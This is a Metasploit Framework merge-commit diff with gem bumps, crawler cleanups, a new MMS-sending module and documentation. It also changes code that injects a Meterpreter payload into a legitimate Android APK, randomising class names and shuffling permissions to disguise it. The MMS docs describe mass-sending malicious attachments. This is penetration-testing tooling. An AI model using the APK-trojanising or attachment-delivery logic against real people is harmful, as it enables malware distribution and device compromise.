Merge remote-tracking branch 'upstream/master' into land-8056-outlook

bug/bundler_fix
Brent Cook 2017-03-17 17:30:08 -05:00
commit ad2222152c
39 changed files with 1042 additions and 230 deletions

View File

@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (4.14.2)
metasploit-framework (4.14.3)
actionpack (~> 4.2.6)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
@ -14,7 +14,7 @@ PATH
metasploit-concern
metasploit-credential
metasploit-model
metasploit-payloads (= 1.2.17)
metasploit-payloads (= 1.2.18)
metasploit_data_models
metasploit_payloads-mettle (= 0.1.7)
msgpack
@ -104,7 +104,7 @@ GEM
bcrypt (3.1.11)
bit-struct (0.15.0)
builder (3.2.3)
capybara (2.12.1)
capybara (2.13.0)
addressable
mime-types (>= 1.16)
nokogiri (>= 1.3.3)
@ -145,8 +145,8 @@ GEM
ffi (1.9.18)
filesize (0.1.1)
fivemat (1.3.2)
gherkin (4.0.0)
google-protobuf (3.2.0)
gherkin (4.1.1)
google-protobuf (3.2.0.2)
googleauth (0.5.1)
faraday (~> 0.9)
jwt (~> 1.4)
@ -164,7 +164,7 @@ GEM
json (2.0.3)
jwt (1.5.6)
little-plugger (1.1.4)
logging (2.1.0)
logging (2.2.0)
little-plugger (~> 1.1)
multi_json (~> 1.10)
loofah (2.0.3)
@ -190,7 +190,7 @@ GEM
activemodel (~> 4.2.6)
activesupport (~> 4.2.6)
railties (~> 4.2.6)
metasploit-payloads (1.2.17)
metasploit-payloads (1.2.18)
metasploit_data_models (2.0.14)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
@ -227,7 +227,7 @@ GEM
pcaprub
patch_finder (1.0.2)
pcaprub (0.12.4)
pg (0.19.0)
pg (0.20.0)
pg_array_parser (0.0.9)
postgres_ext (3.0.0)
activerecord (>= 4.0.0)
@ -256,7 +256,7 @@ GEM
thor (>= 0.18.1, < 2.0)
rake (12.0.0)
rb-readline (0.5.4)
recog (2.1.4)
recog (2.1.5)
nokogiri
redcarpet (3.4.0)
rex-arch (0.1.4)
@ -335,7 +335,7 @@ GEM
faraday (~> 0.9)
jwt (~> 1.5)
multi_json (~> 1.10)
simplecov (0.13.0)
simplecov (0.14.0)
docile (~> 1.1.0)
json (>= 1.8, < 3)
simplecov-html (~> 0.10.0)
@ -350,7 +350,7 @@ GEM
thread_safe (~> 0.1)
tzinfo-data (1.2017.1)
tzinfo (>= 1.0.0)
windows_error (0.1.0)
windows_error (0.1.1)
xpath (2.0.0)
nokogiri (~> 1.3)
yard (0.9.8)

18
data/msfcrawler/basic.rb Executable file → Normal file
View File

@ -1,17 +1,8 @@
##
# $Id$
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
# $Revision$
require 'rubygems'
require 'pathname'
require 'nokogiri'
require 'uri'
@ -19,10 +10,7 @@ require 'uri'
class CrawlerSimple < BaseParser
def parse(request,result)
if !result['Content-Type'].include? "text/html"
return
end
return unless result['Content-Type'].include?('text/html')
# doc = Hpricot(result.body.to_s)
doc = Nokogiri::HTML(result.body.to_s)

View File

@ -0,0 +1,31 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'pathname'
require 'nokogiri'
require 'uri'
class CrawlerComments < BaseParser
def parse(request,result)
return unless result['Content-Type'].include?('text/html')
doc = Nokogiri::HTML(result.body.to_s)
doc.xpath('//comment()').each do |comment|
# searching for href
hr = /href\s*=\s*"([^"]*)"/.match(comment)
if hr
begin
hreq = urltohash('GET', hr[1], request['uri'], nil)
insertnewpath(hreq)
rescue URI::InvalidURIError
# ignored
end
end
end
end
end

35
data/msfcrawler/forms.rb Executable file → Normal file
View File

@ -1,17 +1,8 @@
##
# $Id$
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
# $Revision$
require 'rubygems'
require 'pathname'
require 'nokogiri'
require 'uri'
@ -19,28 +10,21 @@ require 'uri'
class CrawlerForms < BaseParser
def parse(request,result)
if !result['Content-Type'].include? "text/html"
return
end
hr = ''
m = ''
return unless result['Content-Type'].include?('text/html')
doc = Nokogiri::HTML(result.body.to_s)
doc.css('form').each do |f|
hr = f['action']
fname = f['name']
fname = "NONE" if fname.empty?
# Removed because unused
#fname = f['name']
#fname = 'NONE' if fname.empty?
m = f['method'].empty? ? 'GET' : f['method'].upcase
htmlform = Nokogiri::HTML(f.inner_html)
m = (f['method'].empty? ? 'GET' : f['method'].upcase)
arrdata = []
htmlform.css('input').each do |p|
f.css('input').each do |p|
arrdata << "#{p['name']}=#{Rex::Text.uri_encode(p['value'])}"
end
@ -51,7 +35,10 @@ class CrawlerForms < BaseParser
hreq['ctype'] = 'application/x-www-form-urlencoded'
insertnewpath(hreq)
rescue URI::InvalidURIError
#puts "Parse error"
#puts "Error: #{link[0]}"
end
end
end
end

10
data/msfcrawler/frames.rb Executable file → Normal file
View File

@ -1,13 +1,8 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rubygems'
require 'pathname'
require 'nokogiri'
require 'uri'
@ -27,6 +22,7 @@ class CrawlerFrames < BaseParser
hreq = urltohash('GET', ir, request['uri'], nil)
insertnewpath(hreq)
rescue URI::InvalidURIError
# ignored
end
end

11
data/msfcrawler/image.rb Executable file → Normal file
View File

@ -1,14 +1,8 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
# $Revision: 9212 $
require 'rubygems'
require 'pathname'
require 'nokogiri'
require 'uri'
@ -27,6 +21,7 @@ class CrawlerImage < BaseParser
hreq = urltohash('GET', im, request['uri'], nil)
insertnewpath(hreq)
rescue URI::InvalidURIError
# ignored
end
end

11
data/msfcrawler/link.rb Executable file → Normal file
View File

@ -1,14 +1,8 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
# $Revision: 9212 $
require 'rubygems'
require 'pathname'
require 'nokogiri'
require 'uri'
@ -26,6 +20,7 @@ class CrawlerLink < BaseParser
hreq = urltohash('GET', hr, request['uri'], nil)
insertnewpath(hreq)
rescue URI::InvalidURIError
# ignored
end
end

14
data/msfcrawler/objects.rb Executable file → Normal file
View File

@ -1,17 +1,8 @@
##
# $Id$
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
# $Revision$
require 'rubygems'
require 'pathname'
require 'nokogiri'
require 'uri'
@ -29,6 +20,7 @@ class CrawlerObjects < BaseParser
hreq = urltohash('GET', s, request['uri'], nil)
insertnewpath(hreq)
rescue URI::InvalidURIError
# ignored
end
end
end

16
data/msfcrawler/scripts.rb Executable file → Normal file
View File

@ -1,17 +1,8 @@
##
# $Id$
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
# $Revision$
require 'rubygems'
require 'pathname'
require 'nokogiri'
require 'uri'
@ -21,8 +12,6 @@ class CrawlerScripts < BaseParser
def parse(request,result)
return unless result['Content-Type'].include? "text/html"
hr = ''
m = ''
doc = Nokogiri::HTML(result.body.to_s)
doc.xpath("//script").each do |obj|
s = obj['src']
@ -30,6 +19,7 @@ class CrawlerScripts < BaseParser
hreq = urltohash('GET', s, request['uri'], nil)
insertnewpath(hreq)
rescue URI::InvalidURIError
# ignored
end
end

View File

@ -0,0 +1,150 @@
The ```auxiliary/client/mms/send_mms``` module allows you to send a malicious attachment to a
collection of phone numbers of the same carrier.
In order to use this module, you must set up your own SMTP server to deliver messages. Popular
mail services such as Gmail, Yahoo, Live should work fine.
## Module Options
**CELLNUMBERS**
The 10-digit phone number (or numbers) you want to send the MMS text to. If you wish to target
against multiple phone numbers, ideally you want to create the list in a text file (one number per
line), and then load the CELLNUMBERS option like this:
```
set CELLNUMBERS file:///tmp/att_phone_numbers.txt
```
Remember that these phone numbers must be the same carrier.
**MMSCARRIER**
The carrier that the targeted numbers use. See **Supported Carrier Gateways** to learn more about
supported carriers.
**TEXTMESSAGE**
The text message you want to send. For example, this will send a text with a link to google:
```
set TEXTMESSAGE "Hi, please go: google.com"
```
The link should automatically be parsed on the phone and clickable.
**MMSFILE**
The attachment to send in the message.
**MMSFILECTYPE**
The content type to use for the attachment. Commonly supported ones include:
* audio/midi
* image/jpeg
* image/gif
* image/png
* video/mp4
To find more, please try this [list](http://www.freeformatter.com/mime-types-list.html)
**SMTPADDRESS**
The mail server address you wish to use to send the MMS messages.
**SMTPPORT**
The mail server port. By default, this is ```25```.
**SMTPUSERNAME**
The username you use to log into the SMTP server.
**SMTPPASSWORD**
The password you use to log into the SMTP server.
**SMTPFROM**
The FROM field of SMTP. In some cases, it may be used as ```SMTPUSER```. Some carriers require this
in order to receive the text, such as AT&T.
**MMSSUBJECT**
The MMS subject. Some carriers require this in order to receive the text, such as AT&T.
## Supported Carrier Gateways
The module supports the following carriers:
* AT&T
* Sprint
* T-Mobile
* Verizon
* Google Fi
## Finding the Carrier for a Phone Number
Since you need to manually choose the carrier gateway for the phone numbers, you need to figure out
how to identify the carrier of a phone number. There are many services that can do this, such as:
http://freecarrierlookup.com/
## Gmail SMTP Example
Gmail is a popular mail server, so we will use this as a demonstration.
Assuming you are already using two-factor authentication, you need to create an [application password](https://support.google.com/accounts/answer/185833?hl=en).
After creating the application password, configure auxiliary/client/mms/send_mms this way:
* ```set cellnumbers [PHONE NUMBER]```
* ```set mmscarrier [CHOOSE A SUPPORTED CARRIER]```
* ```set textmessage "[TEXT MESSAGE]"```
* ```set smtpaddress smtp.gmail.com```
* ```set smtpport 587```
* ```set mmsfile /tmp/example.mp4```
* ```set mmsfilectype video/mp4```
* ```set smtpusername [USERNAME FOR GMAIL]``` (you don't need ```@gmail.com``` at the end)
* ```set smtppassword [APPLICATION PASSWORD]```
And you should be ready to go.
## Yahoo SMTP Example
Yahoo is also a fairly popular mail server (although much slower to deliver comparing to Gmail),
so we will demonstrate as well.
Before using the module, you must do this to your Yahoo account:
1. Sign in to Yahoo Mail.
2. [Go to your "Account security" settings.](https://login.yahoo.com/account/security#less-secure-apps)
3. Turn on Allow apps that use less secure sign in.
After configuring your Yahoo account, configure auxiliary/client/mms/send_mms this way:
* ```set cellnumbers [PHONE NUMBER]```
* ```set mmscarrier [CHOOSE A SUPPORTED CARRIER]```
* ```set textmessage "[TEXT MESSAGE]"```
* ```set smtpaddress smtp.mail.yahoo.com```
* ```set smtpport 25```
* ```set mmsfile /tmp/example.mp4```
* ```set mmsfilectype video/mp4```
* ```set smtpusername [USERNAME FOR YAHOO]@yahoo.com```
* ```set smtppassword [YAHOO LOGIN PASSWORD]```
And you're good to go.
## Demonstration
After setting up your mail server and the module, your output should look similar to this:
```
msf auxiliary(send_mms) > run
[*] Sending mms message to 1 number(s)...
[*] Done.
[*] Auxiliary module execution completed
msf auxiliary(send_mms) >
```

View File

@ -1,6 +1,6 @@
```struts2_content_type_ognl``` is a module that exploits Apache Struts 2's Jakarta Multipart
`struts2_content_type_ognl` is a module that exploits Apache Struts 2's Jakarta Multipart
parser, which makes it possible to perform arbitrary code execution with a malicious HTTP
```Content-Type``` value.
`Content-Type` value.
## Vulnerable Application
@ -29,7 +29,7 @@ set as optional.
**The Check Command**
The ```struts2_content_type_ognl``` module comes with a check command that can effectively check
The `struts2_content_type_ognl` module comes with a check command that can effectively check
if the remote host is vulnerable or not. To use this, configure the msfconsole similar to the
following:
@ -39,7 +39,7 @@ set RHOST [IP]
set TARGETURI [path to the Struts app with an action]
```
When the module is in verbose mode, the ```check``` command will try to tell you the OS information,
When the module is in verbose mode, the `check` command will try to tell you the OS information,
and whether or not the machine is vulnerable. Like this:
```
@ -54,7 +54,7 @@ msf exploit(struts2_content_type_ognl) > check
After identifying the vulnerability on the target machine, you can try to exploit it.
The exploit supports mainly two platforms: Windows and Linux. To see a list of available payloads,
try to do ```show payloads```, and pick one. The following example demonstrates us exploiting a
try to do `show payloads`, and pick one. The following example demonstrates us exploiting a
vulnerable Ubuntu host:
```

View File

@ -14,6 +14,7 @@ This module is a nice addition to the beginning of an autorun script for post-Me
- **ANAME** - This option allows you to specify a system level process that the module attempts to migrate to first if the session has admin rights.
- **NAME** - This option allows you to specify the user level process that the module attempts to migrate to first if the session has user rights or if admin migration fails through all of the default processes.
- **KILL** - This option allows you to kill the original process after a successful migration. The default value is FALSE.
- **NOFAIL** - This option allows you to specify whether or not the module will migrate the session into a user level process if admin level migration fails. If TRUE, this may downgrade priviliged shells. The default value is FALSE.
## Module Process
Here is the process that the module follows:
@ -22,11 +23,13 @@ Here is the process that the module follows:
- If the session has admin rights, it attempts to migrate to a system owned process in the following order:
- ANAME (Module option, if specified)
- services.exe
- winlogon.exe
- wininit.exe
- svchost.exe
- lsm.exe
- lsass.exe
- If it is unable to migrate to one of these processes, it drops to user level migration.
- winlogon.exe
- The module will not migrate if the session has System rights and is already in one of the above target processes.
- If it is unable to migrate to one of these processes, it drops to user level migration if NOFAIL is TRUE.
- If the session has user rights, it attempts to migrate to a user owned process in the following order:
- NAME (Module option, if specified)
- explorer.exe

View File

@ -30,7 +30,7 @@ module Metasploit
end
end
VERSION = "4.14.2"
VERSION = "4.14.3"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash

View File

@ -28,5 +28,5 @@ require 'msf/core/auxiliary/iax2'
require 'msf/core/auxiliary/ntp'
require 'msf/core/auxiliary/pii'
require 'msf/core/auxiliary/redis'
require 'msf/core/auxiliary/sms'
require 'msf/core/auxiliary/mms'

View File

@ -0,0 +1,69 @@
# -*- coding: binary -*-
###
#
# The Msf::Auxiliary::Mms mixin allows you to send a text message
# including a media file.
#
##
module Msf
module Auxiliary::Mms
def initialize(info={})
super
register_options(
[
OptString.new('SMTPFROM', [false, 'The FROM field for SMTP', '']),
OptString.new('SMTPADDRESS', [ true, 'The SMTP server to use to send the text messages']),
OptString.new('MMSSUBJECT', [false, 'The Email subject', '']),
OptPort.new('SMTPPORT', [true, 'The SMTP port to use to send the text messages', 25]),
OptString.new('SMTPUSERNAME', [true, 'The SMTP account to use to send the text messages']),
OptString.new('SMTPPASSWORD', [true, 'The SMTP password to use to send the text messages']),
OptEnum.new('MMSCARRIER', [true, 'The targeted MMS service provider', nil,Rex::Proto::Mms::Model::GATEWAYS.keys.collect { |k| k.to_s }]),
OptString.new('CELLNUMBERS', [true, 'The phone numbers to send to']),
OptString.new('TEXTMESSAGE', [true, 'The text message to send']),
OptPath.new('MMSFILE', [false, 'The attachment to include in the text file']),
OptString.new('MMSFILECTYPE', [false, 'The attachment content type'])
], Auxiliary::Mms)
register_advanced_options(
[
OptEnum.new('SmtpLoginType', [true, 'The SMTP login type', 'login', ['plain', 'login', 'cram_md5']]),
OptString.new('HeloDdomain', [false, 'The domain to use for HELO', ''])
], Auxiliary::Mms)
end
# Sends an MMS message to multiple numbers of the same service provider (carrier).
#
# @example This sends a text (including an attachment) via Gmail
# smtp = Rex::Proto::Mms::Model::Smtp.new(address: 'smtp.gmail.com', port: 587, username: user, password: pass)
# mms = Rex::Proto::Mms::Client.new(carrier: :verizon, smtp_server: smtp)
# mms.send_mms_to_phones(numbers, 'hello world?', '/tmp/test.jpg', 'image/jpeg')
#
# @param phone_numbers [<String>Array] An array of numbers of try (of the same carrier)
# @param subject [String] MMS subject
# @param message [String] The text to send.
# @param attachment_path [String] Optional
# @param ctype [String] Optional
#
# @return [void]
def send_mms(phone_numbers, subject, message, attachment_path=nil, ctype=nil)
smtp = Rex::Proto::Mms::Model::Smtp.new(
address: datastore['SMTPADDRESS'],
port: datastore['SMTPPORT'],
username: datastore['SMTPUSERNAME'],
password: datastore['SMTPPASSWORD'],
login_type: datastore['SmtpLoginType'].to_sym,
from: datastore['SMTPFROM'],
)
carrier = datastore['MMSCARRIER'].to_sym
mms = Rex::Proto::Mms::Client.new(carrier: carrier, smtp_server: smtp)
mms.send_mms_to_phones(phone_numbers, subject, message, attachment_path, ctype)
end
end
end

View File

@ -23,6 +23,16 @@ module Msf
)
end
def is_loopback_address?(address)
begin
a = IPAddr.new(address.to_s)
return true if IPAddr.new('127.0.0.1/8') === a
return true if IPAddr.new('::1') === a
rescue
end
false
end
# A list of addresses to attempt to bind, in preferred order.
#
# @return [Array<String>] a two-element array. The first element will be
@ -32,11 +42,18 @@ module Msf
def bind_addresses
# Switch to IPv6 ANY address if the LHOST is also IPv6
addr = Rex::Socket.resolv_nbo(datastore['LHOST'])
# First attempt to bind LHOST. If that fails, the user probably has
# something else listening on that interface. Try again with ANY_ADDR.
any = (addr.length == 4) ? "0.0.0.0" : "::0"
addr = Rex::Socket.addr_ntoa(addr)
addrs = [ Rex::Socket.addr_ntoa(addr), any ]
# Checking if LHOST is a loopback address
if is_loopback_address?(addr)
print_warning("You are binding to a loopback address by setting LHOST to #{addr}. Did you want ReverseListenerBindAddress?")
end
addrs = [ addr, any ]
if not datastore['ReverseListenerBindAddress'].to_s.empty?
# Only try to bind to this specific interface
@ -87,10 +104,8 @@ module Msf
print_error("Handler failed to bind to #{ip}:#{local_port}:- #{comm} -")
else
ex = false
via = via_string_for_ip(ip, comm)
print_status("Started #{human_name} handler on #{ip}:#{local_port} #{via}")
break
end
end

View File

@ -419,4 +419,3 @@ end
end
end

View File

@ -54,15 +54,9 @@ module Msf::Payload::Android
transports: opts[:transport_config] || [transport_config(opts)]
}
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
result = config.to_b
result[0] = "\x01" if opts[:stageless]
result
end
def string_sub(data, placeholder="", input="")
data.gsub!(placeholder, input + "\x00" * (placeholder.length - input.length))
config = Rex::Payloads::Meterpreter::Config.new(config_opts).to_b
config[0] = "\x01" if opts[:stageless]
config
end
def sign_jar(jar)
@ -98,14 +92,18 @@ module Msf::Payload::Android
end
def generate_jar(opts={})
config = generate_config(opts)
if opts[:stageless]
classes = MetasploitPayloads.read('android', 'meterpreter.dex')
# Add stageless classname at offset 8000
config += "\x00" * (8000 - config.size)
config += 'com.metasploit.meterpreter.AndroidMeterpreter'
else
classes = MetasploitPayloads.read('android', 'apk', 'classes.dex')
end
config = generate_config(opts)
string_sub(classes, "\xde\xad\xba\xad" + "\x00" * 8191, config)
config += "\x00" * (8195 - config.size)
classes.gsub!("\xde\xad\xba\xad" + "\x00" * 8191, config)
jar = Rex::Zip::Jar.new
files = [

View File

@ -35,9 +35,14 @@ class Msf::Payload::Apk
end
end
# Find the activity that is opened when you click the app icon
def find_launcher_activity(amanifest)
# Find a suitable smali point to hook
def find_hook_point(amanifest)
package = amanifest.xpath("//manifest").first['package']
application = amanifest.xpath('//application')
application_name = application.attribute("name")
if application_name
return application_name.to_s
end
activities = amanifest.xpath("//activity|//activity-alias")
for activity in activities
activityname = activity.attribute("targetActivity")
@ -68,7 +73,7 @@ class Msf::Payload::Apk
}
end
def fix_manifest(tempdir, package)
def fix_manifest(tempdir, package, main_service, main_broadcast_receiver)
#Load payload's manifest
payload_manifest = parse_manifest("#{tempdir}/payload/AndroidManifest.xml")
payload_permissions = payload_manifest.xpath("//manifest/uses-permission")
@ -78,6 +83,8 @@ class Msf::Payload::Apk
original_permissions = original_manifest.xpath("//manifest/uses-permission")
old_permissions = []
add_permissions = []
original_permissions.each do |permission|
name = permission.attribute("name").to_s
old_permissions << name
@ -87,21 +94,26 @@ class Msf::Payload::Apk
payload_permissions.each do |permission|
name = permission.attribute("name").to_s
unless old_permissions.include?(name)
print_status("Adding #{name}")
if original_permissions.empty?
application.before(permission.to_xml)
original_permissions = original_manifest.xpath("//manifest/uses-permission")
else
original_permissions.before(permission.to_xml)
end
add_permissions += [permission.to_xml]
end
end
add_permissions.shuffle!
for permission_xml in add_permissions
print_status("Adding #{permission_xml}")
if original_permissions.empty?
application.before(permission_xml)
original_permissions = original_manifest.xpath("//manifest/uses-permission")
else
original_permissions.before(permission_xml)
end
end
application = original_manifest.at_xpath('/manifest/application')
receiver = payload_manifest.at_xpath('/manifest/application/receiver')
service = payload_manifest.at_xpath('/manifest/application/service')
receiver.attributes["name"].value = package + receiver.attributes["name"].value
service.attributes["name"].value = package + service.attributes["name"].value
receiver.attributes["name"].value = package + '.' + main_broadcast_receiver
receiver.attributes["label"].value = main_broadcast_receiver
service.attributes["name"].value = package + '.' + main_service
application << receiver.to_xml
application << service.to_xml
@ -110,7 +122,7 @@ class Msf::Payload::Apk
def parse_orig_cert_data(orig_apkfile)
orig_cert_data = Array[]
keytool_output = run_cmd("keytool -J-Duser.language=en -printcert -jarfile #{orig_apkfile}")
keytool_output = run_cmd("keytool -J-Duser.language=en -printcert -jarfile '#{orig_apkfile}'")
owner_line = keytool_output.match(/^Owner:.+/)[0]
orig_cert_dname = owner_line.gsub(/^.*:/, '').strip
orig_cert_data.push("#{orig_cert_dname}")
@ -185,24 +197,22 @@ class Msf::Payload::Apk
amanifest = parse_manifest("#{tempdir}/original/AndroidManifest.xml")
print_status "Locating hook point..\n"
launcheractivity = find_launcher_activity(amanifest)
unless launcheractivity
raise RuntimeError, "Unable to find hookable activity in #{apkfile}\n"
end
smalifile = "#{tempdir}/original/smali*/" + launcheractivity.gsub(/\./, "/") + ".smali"
hookable_class = find_hook_point(amanifest)
smalifile = "#{tempdir}/original/smali*/" + hookable_class.gsub(/\./, "/") + ".smali"
smalifiles = Dir.glob(smalifile)
for smalifile in smalifiles
if File.readable?(smalifile)
activitysmali = File.read(smalifile)
hooksmali = File.read(smalifile)
break
end
end
unless activitysmali
raise RuntimeError, "Unable to find hookable activity in #{smalifiles}\n"
unless hooksmali
raise RuntimeError, "Unable to find hook point in #{smalifile}\n"
end
entrypoint = 'return-void'
unless activitysmali.include? entrypoint
unless hooksmali.include? entrypoint
raise RuntimeError, "Unable to find hookable function in #{smalifile}\n"
end
@ -212,6 +222,10 @@ class Msf::Payload::Apk
package = amanifest.xpath("//manifest").first['package']
package = package + ".#{Rex::Text::rand_text_alpha_lower(5)}"
classes = {}
classes['Payload'] = Rex::Text::rand_text_alpha_lower(5).capitalize
classes['MainService'] = Rex::Text::rand_text_alpha_lower(5).capitalize
classes['MainBroadcastReceiver'] = Rex::Text::rand_text_alpha_lower(5).capitalize
package_slash = package.gsub(/\./, "/")
print_status "Adding payload as package #{package}\n"
payload_files = Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/*.smali")
@ -221,15 +235,22 @@ class Msf::Payload::Apk
# Copy over the payload files, fixing up the smali code
payload_files.each do |file_name|
smali = File.read(file_name)
newsmali = smali.gsub(/com\/metasploit\/stage/, package_slash)
newfilename = "#{payload_dir}#{File.basename file_name}"
File.open(newfilename, "wb") {|file| file.puts newsmali }
smali_class = File.basename file_name
for oldclass, newclass in classes
if smali_class == "#{oldclass}.smali"
smali_class = "#{newclass}.smali"
end
smali.gsub!(/com\/metasploit\/stage\/#{oldclass}/, package_slash + "/" + newclass)
end
smali.gsub!(/com\/metasploit\/stage/, package_slash)
newfilename = "#{payload_dir}#{smali_class}"
File.open(newfilename, "wb") {|file| file.puts smali }
end
payloadhook = %Q^invoke-static {}, L#{package_slash}/MainService;->start()V
payloadhook = %Q^invoke-static {}, L#{package_slash}/#{classes['MainService']};->start()V
^ + entrypoint
hookedsmali = activitysmali.sub(entrypoint, payloadhook)
hookedsmali = hooksmali.sub(entrypoint, payloadhook)
print_status "Loading #{smalifile} and injecting payload..\n"
File.open(smalifile, "wb") {|file| file.puts hookedsmali }
@ -237,7 +258,7 @@ class Msf::Payload::Apk
injected_apk = "#{tempdir}/output.apk"
aligned_apk = "#{tempdir}/aligned.apk"
print_status "Poisoning the manifest with meterpreter permissions..\n"
fix_manifest(tempdir, package)
fix_manifest(tempdir, package, classes['MainService'], classes['MainBroadcastReceiver'])
print_status "Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}\n"
run_cmd("apktool b -o #{injected_apk} #{tempdir}/original")

View File

@ -8,6 +8,7 @@ require 'rex/proto/iax2'
require 'rex/proto/kerberos'
require 'rex/proto/rmi'
require 'rex/proto/sms'
require 'rex/proto/mms'
module Rex
module Proto

4
lib/rex/proto/mms.rb Normal file
View File

@ -0,0 +1,4 @@
# -*- coding: binary -*-
require 'rex/proto/mms/exception'
require 'rex/proto/mms/model'

View File

@ -0,0 +1,89 @@
# -*- coding: binary -*-
module Rex
module Proto
module Mms
class Client
# @!attribute carrier
# @return [Symbol] The service provider for the phone numbers.
attr_accessor :carrier
# @!attribute smtp_server
# @return [Rex::Proto::Mms::Model::Smtp] The Smtp object with the Smtp settings.
attr_accessor :smtp_server
# Initializes the Client object.
#
# @param [Hash] opts
# @option opts [Symbol] Service provider name (see Rex::Proto::Mms::Model::GATEWAYS)
# @option opts [Rex::Proto::mms::Model::Smtp] SMTP object
#
# @return [Rex::Proto::Mms::Client]
def initialize(opts={})
self.carrier = opts[:carrier]
self.smtp_server = opts[:smtp_server]
validate_carrier!
end
# Sends a media text to multiple recipients.
#
# @param phone_numbers [<String>Array] An array of phone numbers.
# @param subject [String] MMS subject
# @param message [String] The message to send.
# @param attachment_path [String] (Optional) The attachment to include
# @param ctype [String] (Optional) The content type to use for the attachment
#
# @return [void]
def send_mms_to_phones(phone_numbers, subject, message, attachment_path=nil, ctype=nil)
carrier = Rex::Proto::Mms::Model::GATEWAYS[self.carrier]
recipients = phone_numbers.collect { |p| "#{p}@#{carrier}" }
address = self.smtp_server.address
port = self.smtp_server.port
username = self.smtp_server.username
password = self.smtp_server.password
helo_domain = self.smtp_server.helo_domain
login_type = self.smtp_server.login_type
from = self.smtp_server.from
smtp = Net::SMTP.new(address, port)
begin
smtp.enable_starttls_auto
smtp.start(helo_domain, username, password, login_type) do
recipients.each do |r|
mms_message = Rex::Proto::Mms::Model::Message.new(
message: message,
content_type: ctype,
attachment_path: attachment_path,
from: from,
to: r,
subject: subject
)
smtp.send_message(mms_message.to_s, from, r)
end
end
rescue Net::SMTPAuthenticationError => e
raise Rex::Proto::Mms::Exception, e.message
ensure
smtp.finish if smtp && smtp.started?
end
end
# Validates the carrier parameter.
#
# @raise [Rex::Proto::Mms::Exception] If an invalid service provider is used.
def validate_carrier!
unless Rex::Proto::Mms::Model::GATEWAYS.include?(self.carrier)
raise Rex::Proto::Mms::Exception, 'Invalid carrier.'
end
end
end
end
end
end

View File

@ -0,0 +1,10 @@
# -*- coding: binary -*-
module Rex
module Proto
module Mms
class Exception < ::RuntimeError
end
end
end
end

View File

@ -0,0 +1,24 @@
# -*- coding: binary -*-
module Rex
module Proto
module Mms
module Model
GATEWAYS = {
att:'mms.att.net', # AT&T Wireless
sprint: 'pm.sprint.com', # Sprint
tmobile: 'tmomail.net', # T-Mobile
verizon: 'vzwpix.com', # Verizon
google: 'msg.fi.google.com' # Google
}
end
end
end
end
require 'net/smtp'
require 'rex/proto/mms/model/smtp'
require 'rex/proto/mms/model/message'
require 'rex/proto/mms/client'

View File

@ -0,0 +1,108 @@
# -*- coding: binary -*-
module Rex
module Proto
module Mms
module Model
class Message
# @!attribute message
# @return [String] The text message
attr_accessor :message
# @!attribute content_type
# @return [Fixnum] The content type of the attachment
attr_accessor :content_type
# @!attribute attachment
# @return [String] The loaded attachment converted to Base64
attr_accessor :attachment
# @!attribute from
# @return [String] The from field in the email
attr_accessor :from
# @!attribute to
# @return [String] The to field in the email
attr_accessor :to
# @!attribute subject
# @return [String] The subject of the email
attr_accessor :subject
# @!attribute attachment_name
# @return [String] The attachment base name extracted from :attachment
attr_accessor :attachment_name
# Initializes the SMTP object.
#
# @param [Hash] opts
# @option opts [String] :from
# @option opts [String] :to
# @option opts [String] :message
# @option opts [String] :content_type
# @option opts [String] :attachment_path
#
# @return [Rex::Proto::Mms::Model::Message]
def initialize(opts={})
self.from = opts[:from]
self.to = opts[:to]
self.message = opts[:message]
self.subject = opts[:subject]
self.content_type = opts[:content_type]
if opts[:attachment_path]
self.attachment = load_file_to_base64(opts[:attachment_path])
self.attachment_name = File.basename(opts[:attachment_path])
end
end
# Returns the raw MMS message
#
# @return [String]
def to_s
generate_mms_message
end
private
# Returns the loaded file in Base64 format
#
# @return [String] Base64 data
def load_file_to_base64(path)
buf = File.read(path)
(Rex::Text.encode_base64(buf).scan(/.{,76}/).flatten * "\n").strip
end
# Returns the raw MMS message
#
# @return [String]
def generate_mms_message
text = Rex::MIME::Message.new
text.add_part(self.message, 'text/plain; charset=UTF-8', nil)
body = Rex::MIME::Message.new
body.add_part(text.to_s, "multipart/alternative; boundary=#{text.bound}", nil)
if self.attachment
